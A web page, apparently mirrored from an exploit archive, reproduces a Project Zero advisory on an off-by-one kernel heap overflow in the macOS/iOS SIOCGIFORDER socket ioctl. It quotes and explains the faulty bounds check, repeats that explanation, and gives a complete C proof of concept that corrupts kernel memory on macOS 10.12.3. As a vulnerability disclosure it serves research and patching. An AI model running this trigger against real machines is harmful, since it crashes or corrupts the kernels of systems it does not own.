扫码分享
验证：
体验盒子|
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 |
/* Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1111 SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the ifnet_ordered_head linked list of interfaces. SIOCSIFORDER clears the existing list and allows userspace to specify an array of interface indexes used to build a new list. SIOCGIFORDER allow userspace to query the list of interface identifiers used to build that list. Here's the relevant code for SIOCGIFORDER: case SIOCGIFORDER: {/* struct if_order */ struct if_order *ifo = (struct if_order *)(void *)data; u_int32_t ordered_count = if_ordered_count; <----------------- (a) if (ifo->ifo_count == 0 || ordered_count == 0) { ifo->ifo_count = ordered_count; } else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) { u_int32_t count_to_copy = MIN(ordered_count, ifo->ifo_count);<---------------- (b) size_t length = (count_to_copy * sizeof(u_int32_t)); struct ifnet *ifp = NULL; u_int32_t cursor = 0; ordered_indices = _MALLOC(length, M_NECP, M_WAITOK); if (ordered_indices == NULL) { error = ENOMEM; break; } ifnet_head_lock_shared(); TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) { if (cursor > count_to_copy) {<------------------ (c) break; } ordered_indices[cursor] = ifp->if_index; <------------------ (d) cursor++; } ifnet_head_done(); at (a) it reads the actual length of the list (of course it should take the lock here too, but that's not the bug I'm reporting) at (b) it computes the number of entries it wants to copy as the minimum of the requested number and the actual number of entries in the list the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen! By requesting one fewer entries than are actually in the list the code will always write one interface index entry one off the end of the ordered_indices array. This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries then writes 5 entries into there. tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 */ // ianbeer // add gzalloc_size=16 to boot args to see the actual OOB write more easily #if 0 MacOS/iOS kernel memory corruption due to off-by-one in SIOCGIFORDER socket ioctl SIOCSIFORDER and SIOCGIFORDER allow userspace programs to build and maintain the ifnet_ordered_head linked list of interfaces. SIOCSIFORDER clears the existing list and allows userspace to specify an array of interface indexes used to build a new list. SIOCGIFORDER allow userspace to query the list of interface identifiers used to build that list. Here's the relevant code for SIOCGIFORDER: case SIOCGIFORDER: { /* struct if_order */ struct if_order *ifo = (struct if_order *)(void *)data; u_int32_t ordered_count = if_ordered_count; <----------------- (a) if (ifo->ifo_count == 0 || ordered_count == 0) { ifo->ifo_count = ordered_count; } else if (ifo->ifo_ordered_indices != USER_ADDR_NULL) { u_int32_t count_to_copy = MIN(ordered_count, ifo->ifo_count);<---------------- (b) size_t length = (count_to_copy * sizeof(u_int32_t)); struct ifnet *ifp = NULL; u_int32_t cursor = 0; ordered_indices = _MALLOC(length, M_NECP, M_WAITOK); if (ordered_indices == NULL) { error = ENOMEM; break; } ifnet_head_lock_shared(); TAILQ_FOREACH(ifp, &ifnet_ordered_head, if_ordered_link) { if (cursor > count_to_copy) {<------------------ (c) break; } ordered_indices[cursor] = ifp->if_index; <------------------ (d) cursor++; } ifnet_head_done(); at (a) it reads the actual length of the list (of course it should take the lock here too, but that's not the bug I'm reporting) at (b) it computes the number of entries it wants to copy as the minimum of the requested number and the actual number of entries in the list the loop at (c) iterates through the list of all entries and the check at (c) is supposed to check that the write at (d) won't go out of bounds, but it should be a >=, not a >, as cursor is the number of elements *already* written. If count_to_copy is 0, and cursor is 0 the write will still happen! By requesting one fewer entries than are actually in the list the code will always write one interface index entry one off the end of the ordered_indices array. This poc makes a list with 5 entries then requests 4. This allocates a 16-byte kernel buffer to hold the 4 entries then writes 5 entries into there. tested on MacOS 10.12.3 (16D32) on MacbookAir5,2 #endif #include <stdlib.h> #include <stdio.h> #include <unistd.h> #include <sys/ioctl.h> #include <sys/socket.h> #include <mach/mach.h> struct if_order { u_int32_t ifo_count; u_int32_t ifo_reserved; mach_vm_address_t ifo_ordered_indices; /* array of u_int32_t */ }; #define SIOCSIFORDER_IOWR('i', 178, struct if_order) #define SIOCGIFORDER_IOWR('i', 179, struct if_order) void set(int fd, uint32_t n) { uint32_t* data = malloc(n*4); for (int i = 0; i < n; i++) { data[i] = 1; } struct if_order ifo; ifo.ifo_count = n; ifo.ifo_reserved = 0; ifo.ifo_ordered_indices = (mach_vm_address_t)data; ioctl(fd, SIOCSIFORDER, &ifo); free(data); } void get(int fd, uint32_t n) { uint32_t* data = malloc(n*4); memset(data, 0, n*4); struct if_order ifo; ifo.ifo_count = n; ifo.ifo_reserved = 0; ifo.ifo_ordered_indices = (mach_vm_address_t)data; ioctl(fd, SIOCGIFORDER, &ifo); free(data); } int main() { int fd = socket(PF_INET, SOCK_STREAM, 0); set(fd, 5); get(fd, 4); return 0; } |
体验盒子
